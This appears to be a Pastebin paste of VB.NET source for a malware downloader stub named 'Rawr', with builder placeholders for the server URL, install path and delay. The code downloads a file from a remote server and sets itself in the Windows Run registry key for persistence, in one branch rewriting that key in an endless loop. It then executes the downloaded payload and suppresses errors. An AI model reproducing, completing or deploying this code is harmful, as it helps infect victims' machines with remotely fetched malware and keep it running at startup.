Advertisement
Guest User

Untitled

a guest
May 30th, 2012
277
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Imports System.Collections.Generic
  2. Imports System.Text
  3. Imports System.Net
  4. Imports System.IO
  5. Imports System.Diagnostics
  6. Imports System.Threading
  7. Imports System.Uri
  8.  
  9. Class Rawr
  10.     Public Shared Sub Main(ByVal args As String())
  11.         Thread.Sleep([DELAY])
  12.         Dim i As Integer = [STARTUPi]
  13.         Dim filepath As String = "[INSTALLPATH]\[INSTALLNAME]"
  14.         Dim wc As New WebClient()
  15.         wc.DownloadFileAsync(New Uri("[SERVERURL]"), filepath)
  16.  
  17.         If i = 1 Then
  18.             'startup crap
  19.            Try
  20.                 Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", _
  21.          True).SetValue(Application.ExecutablePath, filepath, Microsoft.Win32.RegistryValueKind.String)
  22.             Catch exception1 As Exception
  23.             End Try
  24.  
  25.         ElseIf i = 2 Then
  26.             'persistent startup crap
  27.            Dim num As Integer = 0
  28.             Do
  29.                 Try
  30.                     Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", _
  31.        True).SetValue(Application.ExecutablePath, filepath, Microsoft.Win32.RegistryValueKind.String)
  32.                     Thread.Sleep(200)
  33.                 Catch exception2 As Exception
  34.                 End Try
  35.                 num = (num + 0)
  36.             Loop While (num <= 1)
  37.         End If
  38.  
  39.         If File.Exists(filepath) Then
  40.  
  41.             IO.File.Delete(filepath)
  42.             wc.DownloadFileAsync(New Uri("[SERVERURL]"), filepath)
  43.  
  44.             Dim proc As New Process()
  45.             proc.StartInfo.FileName = filepath
  46.             proc.Start()
  47.         Else
  48.             Try
  49.                 wc.DownloadFileAsync(New Uri("[SERVERURL]"), filepath)
  50.  
  51.                 If File.Exists(filepath) Then
  52.                     Dim proc As New Process()
  53.                     proc.StartInfo.FileName = filepath
  54.                     proc.Start()
  55.                 End If
  56.             Catch ex As Exception
  57.                 'Hide Errors
  58.            End Try
  59.         End If
  60.     End Sub
  61. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement